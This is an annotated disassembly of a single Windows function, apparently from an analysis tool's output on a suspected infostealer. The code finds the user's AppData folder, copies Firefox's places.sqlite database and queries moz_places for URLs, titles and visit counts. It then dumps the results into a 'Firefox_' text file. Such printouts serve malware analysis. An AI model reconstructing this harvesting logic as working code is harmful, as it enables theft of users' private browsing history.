Function at 0x140037890
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x720
mov rax, qword [0x140342fc0]
xor rax, rsp
mov qword [rsp + 0x718], rax
xor ebx, ebx
mov r12d, ebx
mov dword [rsp + 0x40], ebx
lea rax, [rsp + 0x500]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x14003800a
xorps xmm0, xmm0
movups xmmword [rsp + 0x368], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x378], xmm1
lea rax, [rsp + 0x500]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], bx
jne 0x140037920
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x368]
call fcn.140039770
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x330], xmm0
mov qword [rsp + 0x340], rax
lea rdx, [rsp + 0x368]
lea rcx, [rsp + 0x330]
call fcn.140035040
nop
mov rdi, qword [rsp + 0x330]
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x70], rax
lea rsi, [0x140343cb0]
mov r15d, 2
mov qword [rsp + 0x68], rdi
cmp rdi, qword [rsp + 0x70]
je 0x1400394eb
mov r13, rdi
mov qword [rsp + 0x78], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0x290], xmm0
mov qword [rsp + 0x2a0], rbx
mov qword [rsp + 0x2a8], rbx
mov r8d, 0x33
lea rdx, str.92_112_108_97_99_101_115_46_115_113_108_105_116_101
lea rcx, [rsp + 0x290]
call fcn.140039770
nop
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x2b0]
call fcn.140031450
nop
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 7
jbe 0x140037a39
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037a34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003971d
call fcn.14025e770
lea r8, [rsp + 0x2b0]
cmp qword [rsp + 0x2c8], 0xf
seta r9b
cmova r8, qword [rsp + 0x2b0]
add r8, qword [rsp + 0x2c0]
lea rdx, [rsp + 0x2b0]
test r9b, r9b
cmovne rdx, qword [rsp + 0x2b0]
lea rcx, [rsp + 0xe0]
call fcn.14005b140
nop
mov r8, rdi
cmp qword [rdi + 0x18], 7
jbe 0x140037a8e
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.140069d00
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or r12d, 1
movups xmmword [rsp + 0x250], xmm0
movups xmmword [rsp + 0x260], xmm1
mov rdx, qword [rsp + 0xf8]
cmp rdx, 7
jbe 0x140037b0c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037b07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003954a
call fcn.14025e770
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xf8], 7
mov word [rsp + 0xe0], bx
mov r8d, 3
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x180]
call fcn.140009f80
movsd xmm0, qword [rax]
movsd qword [rsp + 0x140], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0xa0], ecx
mov qword [rsp + 0xa8], rsi
movaps xmm0, xmmword [rsp + 0xa0]
movdqa xmmword [rsp + 0x210], xmm0
mov eax, dword [rsp + 0x140]
test eax, eax
je 0x140039434
cmp eax, 1
je 0x14003943c
xorps xmm0, xmm0
movups xmmword [rsp + 0x290], xmm0
mov qword [rsp + 0x2a0], rbx
mov qword [rsp + 0x2a8], rbx
mov r8d, 0x48
lea rdx, str.92_70_114_101_100_121_95_80_108_97_99_101_115_46_115_113_108_105_116_101
lea rcx, [rsp + 0x290]
call fcn.140039770
nop
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x2d0]
call fcn.140031450
nop
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 7
jbe 0x140037c1f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037c1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400396f4
call fcn.14025e770
lea r8, [rsp + 0x2d0]
cmp qword [rsp + 0x2e8], 0xf
seta r9b
cmova r8, qword [rsp + 0x2d0]
add r8, qword [rsp + 0x2e0]
lea rdx, [rsp + 0x2d0]
test r9b, r9b
cmovne rdx, qword [rsp + 0x2d0]
lea rcx, [rsp + 0x100]
call fcn.14005b140
nop
mov r8, rdi
cmp qword [rdi + 0x18], 7
jbe 0x140037c74
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.140069d00
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or r12d, 2
mov dword [rsp + 0x40], r12d
movups xmmword [rsp + 0x230], xmm0
movups xmmword [rsp + 0x240], xmm1
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x140037cf7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037cf2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039550
call fcn.14025e770
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], 7
mov word [rsp + 0x100], bx
mov r8d, 3
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x190]
call fcn.140009f80
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0xb0], ecx
mov qword [rsp + 0xb8], rsi
movaps xmm0, xmmword [rsp + 0xb0]
movdqa xmmword [rsp + 0x210], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x140037d9e
cmp eax, 1
je 0x140037da6
lea rcx, [rsp + 0x230]
cmp qword [rsp + 0x248], 7
cmova rcx, qword [rsp + 0x230]
call fcn.1402400ac
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140039556
jmp 0x140037da6
test ecx, ecx
jne 0x14003956f
lea rdx, [rsp + 0x230]
cmp qword [rsp + 0x248], 7
cmova rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x250]
cmp qword [rsp + 0x268], 7
cmova rcx, qword [rsp + 0x250]
xor r8d, r8d
call fcn.14023f764
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14003958c
lea rcx, [rsp + 0x230]
cmp qword [rsp + 0x248], 7
cmova rcx, qword [rsp + 0x230]
lea rdx, [rsp + 0x200]
call fcn.140180f60
mov rcx, qword [rsp + 0x200]
test eax, eax
je 0x14003803c
call fcn.14017ede0
nop
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x140037e76
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037e71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400396f4
call fcn.14025e770
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0xf
jbe 0x140037ed5
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037ed0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400396fa
call fcn.14025e770
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2d0], 0
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x140037f39
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037f34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400395ad
call fcn.14025e770
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], 7
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 0xf
jbe 0x140037f98
inc rdx
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037f93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400395b3
call fcn.14025e770
mov qword [rsp + 0x2c0], rbx
mov qword [rsp + 0x2c8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2b0], 0
lea rcx, [rsp + 0x330]
call fcn.140040900
nop
mov rdx, qword [rsp + 0x380]
cmp rdx, 7
jbe 0x14003800a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x368]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038005
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400395b9
call fcn.14025e770
mov rcx, qword [rsp + 0x718]
xor rcx, rsp
call fcn.14025e750
lea r11, [rsp + 0x720]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x1f8]
mov r8d, 0xffffffff
lea rdx, str.SELECT_url__title__visit_count_FROM_moz_places
call fcn.140181de0
test eax, eax
je 0x140038260
mov rcx, qword [rsp + 0x200]
call fcn.14017ede0
nop
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x1400380b9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400380b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400396f4
call fcn.14025e770
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0xf
jbe 0x140038118
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038113
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400396fa
call fcn.14025e770
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2d0], 0
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x14003817c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038177
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400395ad
call fcn.14025e770
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], 7
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 0xf
jbe 0x1400381db
inc rdx
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400381d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400395b3
call fcn.14025e770
mov qword [rsp + 0x2c0], rbx
mov qword [rsp + 0x2c8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2b0], 0
lea rcx, [rsp + 0x330]
call fcn.140040900
nop
mov rdx, qword [rsp + 0x380]
cmp rdx, 7
jbe 0x14003800a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x368]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038005
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400395b9
jmp 0x140038005
mov rcx, qword [rsp + 0x1f8]
call fcn.140182a40
cmp eax, 0x64
jne 0x14003922f
xor edx, edx
mov rcx, qword [rsp + 0x1f8]
call fcn.140183030
mov rsi, rax
mov edx, 1
mov rcx, qword [rsp + 0x1f8]
call fcn.140183030
mov r14, rax
mov edx, r15d
mov rcx, qword [rsp + 0x1f8]
call fcn.140183030
mov r15, rax
test rsi, rsi
je 0x1400391fc
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rsi + rcx], 0
jne 0x1400382c0
test rcx, rcx
je 0x1400391fc
test r14, r14
je 0x1400391fc
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r14 + rax], 0
jne 0x1400382e2
test rax, rax
je 0x1400391fc
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rsi + rax], 0
jne 0x140038300
test rax, rax
je 0x1400391fc
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [r14 + rax], 0
jne 0x140038320
test rax, rax
je 0x1400391fc
test r15, r15
je 0x1400391fc
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x140038343
test rax, rax
je 0x1400391fc
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8d, 0x1d
lea rdx, str.92_72_105_115_116_111_114_121
lea rcx, [rsp + 0x48]
call fcn.140039770
nop
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x290]
call fcn.140031450
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x1400383d5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400383d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400396b2
call fcn.14025e770
lea r8, [rsp + 0x290]
cmp qword [rsp + 0x2a8], 0xf
seta r9b
cmova r8, qword [rsp + 0x290]
add r8, qword [rsp + 0x2a0]
lea rdx, [rsp + 0x290]
test r9b, r9b
cmovne rdx, qword [rsp + 0x290]
lea rcx, [rsp + 0x120]
call fcn.14005b140
nop
lea r8, [0x14035d6f0]
cmp qword [0x14035d708], 7
cmova r8, qword [0x14035d6f0]
mov r9, qword [0x14035d700]
mov rcx, rax
call fcn.140069d00
xorps xmm0, xmm0
movups xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x270], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x280], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
bts r12d, 0xa
mov dword [rsp + 0x40], r12d
mov rdx, qword [rsp + 0x138]
cmp rdx, 7
jbe 0x1400384d6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400384d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400395bf
call fcn.14025e770
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], 7
mov word [rsp + 0x120], bx
lea rdx, [rsp + 0x270]
cmp qword [rsp + 0x288], 7
cmova rdx, qword [rsp + 0x270]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8, qword [rsp + 0x280]
lea rcx, [rsp + 0x48]
call fcn.140039770
or r12d, 0x1800
mov dword [rsp + 0x40], r12d
mov r8d, 3
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1a0]
call fcn.140009f80
movsd xmm0, qword [rax]
movsd qword [rsp + 0x160], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0xc0], ecx
lea rax, [0x140343cb0]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0x210], xmm0
mov eax, dword [rsp + 0x160]
test eax, eax
je 0x1400385dc
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x1400385ee
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400385e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400395c5
jmp 0x1400385e9
mov dil, 1
test ecx, ecx
jne 0x1400395cb
jmp 0x14003859d
call fcn.14025e770
test dil, dil
je 0x1400386a8
lea rdx, [rsp + 0x270]
cmp qword [rsp + 0x288], 7
cmova rdx, qword [rsp + 0x270]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8, qword [rsp + 0x280]
lea rcx, [rsp + 0x48]
call fcn.140039770
or r12d, 0x6000
mov dword [rsp + 0x40], r12d
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
call fcn.14023fa1c
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1400395e5
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x1400386a8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400386a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400395fb
call fcn.14025e770
mov rcx, r13
call fcn.140046580
inc rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x348], xmm0
mov qword [rsp + 0x358], rbx
mov qword [rsp + 0x360], rbx
mov rcx, qword [r13 + 0x10]
cmp rcx, rax
jb 0x140039601
sub rcx, rax
mov r8, 0xffffffffffffffff
cmp rcx, r8
cmovb r8, rcx
mov rcx, r13
cmp qword [r13 + 0x18], 7
jbe 0x1400386fa
mov rcx, qword [r13]
lea rdx, [rcx + rax*2]
lea rcx, [rsp + 0x348]
call fcn.140039770
or r12d, 4
mov dword [rsp + 0x40], r12d
lea rdx, [rsp + 0x270]
cmp qword [rsp + 0x288], 7
seta r9b
cmova rdx, qword [rsp + 0x270]
mov rax, qword [rsp + 0x280]
lea r8, [rdx + rax*2]
lea rdx, [rsp + 0x270]
test r9b, r9b
cmovne rdx, qword [rsp + 0x270]
lea r9, [rsp + 0x44]
lea rcx, [rsp + 0x310]
call fcn.14005d8e0
nop
movabs rax, 0x7ffffffffffffffe
mov rcx, qword [rsp + 0x320]
sub rax, rcx
cmp rax, 1
jb 0x140039607
lea r9, [rsp + 0x310]
cmp qword [rsp + 0x328], 7
cmova r9, qword [rsp + 0x310]
mov qword [rsp + 0x30], 1
lea rax, [0x1402f3474]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x310]
movzx edx, byte [rsp + 0x44]
lea rcx, [rsp + 0x80]
call fcn.140046c50
or r12d, 8
mov dword [rsp + 0x40], r12d
mov r8d, 8
lea rdx, str.Firefox_
lea rcx, [rsp + 0x80]
call fcn.140046ad0
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x220], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or r12d, 0x10
mov dword [rsp + 0x40], r12d
lea rdx, [rsp + 0x348]
cmp qword [rsp + 0x360], 7
cmova rdx, qword [rsp + 0x348]
mov r8, qword [rsp + 0x358]
lea rcx, [rsp + 0x210]
call fcn.140046ad0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or r12d, 0x20
mov dword [rsp + 0x40], r12d
mov r8d, 4
lea rdx, str..txt
lea rcx, [rsp + 0x48]
call fcn.140046ad0
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f0], xmm0
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x2f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x300], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or r12d, 0x40
mov dword [rsp + 0x40], r12d
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x14003894c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038947
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003960d
call fcn.14025e770
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], bx
mov rdx, qword [rsp + 0x228]
cmp rdx, 7
jbe 0x1400389a7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400389a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039613
call fcn.14025e770
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], 7
mov word [rsp + 0x210], bx
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x140038a0b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038a06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039619
call fcn.14025e770
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x98], 7
mov word [rsp + 0x80], bx
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x3f0]
call fcn.14029f290
lea rdx, [rsp + 0x2f0]
cmp qword [rsp + 0x308], 7
cmova rdx, qword [rsp + 0x2f0]
mov r8d, 8
lea rcx, [rsp + 0x3f0]
call fcn.14004b8b0
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + rcx + 0x3f0], rax
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3ec], edx
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], rbx
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rsi + r8], 0
jne 0x140038ac0
mov rdx, rsi
lea rcx, [rsp + 0x210]
call fcn.140011f20
nop
lea rdx, [rsp + 0x210]
cmp qword [rsp + 0x228], 0xf
seta r9b
cmova rdx, qword [rsp + 0x210]
mov r8, qword [rsp + 0x220]
add r8, rdx
lea rdx, [rsp + 0x210]
test r9b, r9b
cmovne rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x388]
call fcn.14005b140
bts r12d, 7
mov dword [rsp + 0x40], r12d
mov rdx, qword [rsp + 0x228]
cmp rdx, 0xf
jbe 0x140038b72
inc rdx
mov rcx, qword [rsp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038b6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003961f
call fcn.14025e770
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x210], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [r14 + r8], 0
jne 0x140038bb0
mov rdx, r14
lea rcx, [rsp + 0x48]
call fcn.140011f20
nop
lea r8, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
seta r9b
cmova r8, qword [rsp + 0x48]
add r8, qword [rsp + 0x58]
lea rdx, [rsp + 0x48]
test r9b, r9b
cmovne rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x3c8]
call fcn.14005b140
bts r12d, 8
mov dword [rsp + 0x40], r12d
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140038c44
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038c3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039625
call fcn.14025e770
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], rbx
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [r15 + r8], 0
jne 0x140038c80
mov rdx, r15
lea rcx, [rsp + 0x210]
call fcn.140011f20
nop
lea r8, [rsp + 0x210]
cmp qword [rsp + 0x228], 0xf
seta r9b
cmova r8, qword [rsp + 0x210]
add r8, qword [rsp + 0x220]
lea rdx, [rsp + 0x210]
test r9b, r9b
cmovne rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x3a8]
call fcn.14005b140
bts r12d, 9
mov dword [rsp + 0x40], r12d
mov rdx, qword [rsp + 0x228]
cmp rdx, 0xf
jbe 0x140038d2f
inc rdx
mov rcx, qword [rsp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038d2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003962b
call fcn.14025e770
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x210], 0
lea rdx, str.URL_:
lea rcx, [rsp + 0x3f0]
call fcn.14005d9e0
lea rdx, [rsp + 0x388]
cmp qword [rsp + 0x3a0], 7
cmova rdx, qword [rsp + 0x388]
mov r8, qword [rsp + 0x398]
mov rcx, rax
call fcn.140072550
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, rax
call fcn.14005d9e0
lea rdx, str.TITLE_:
mov rcx, rax
call fcn.14005d9e0
lea rdx, [rsp + 0x3c8]
cmp qword [rsp + 0x3e0], 7
cmova rdx, qword [rsp + 0x3c8]
mov r8, qword [rsp + 0x3d8]
mov rcx, rax
call fcn.140072550
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, rax
call fcn.14005d9e0
lea rdx, str.VISIT_COUNT_:
mov rcx, rax
call fcn.14005d9e0
lea rdx, [rsp + 0x3a8]
cmp qword [rsp + 0x3c0], 7
cmova rdx, qword [rsp + 0x3a8]
mov r8, qword [rsp + 0x3b8]
mov rcx, rax
call fcn.140072550
lea rdx, str._n____________________________________
mov rcx, rax
call fcn.14005d9e0
mov rcx, rax
call fcn.14005aac0
lea rcx, [rsp + 0x3f8]
call fcn.14004b7b0
test rax, rax
jne 0x140038e84
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rsp + rcx + 0x438], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rsp + rcx + 0x400]
and eax, 0x17
mov dword [rsp + rcx + 0x400], eax
mov edx, dword [rsp + rcx + 0x404]
and edx, eax
jne 0x140039631
mov rdx, qword [rsp + 0x3c0]
cmp rdx, 7
jbe 0x140038ecc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x3a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038ec7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003968e
call fcn.14025e770
mov qword [rsp + 0x3b8], rbx
mov qword [rsp + 0x3c0], 7
mov word [rsp + 0x3a8], bx
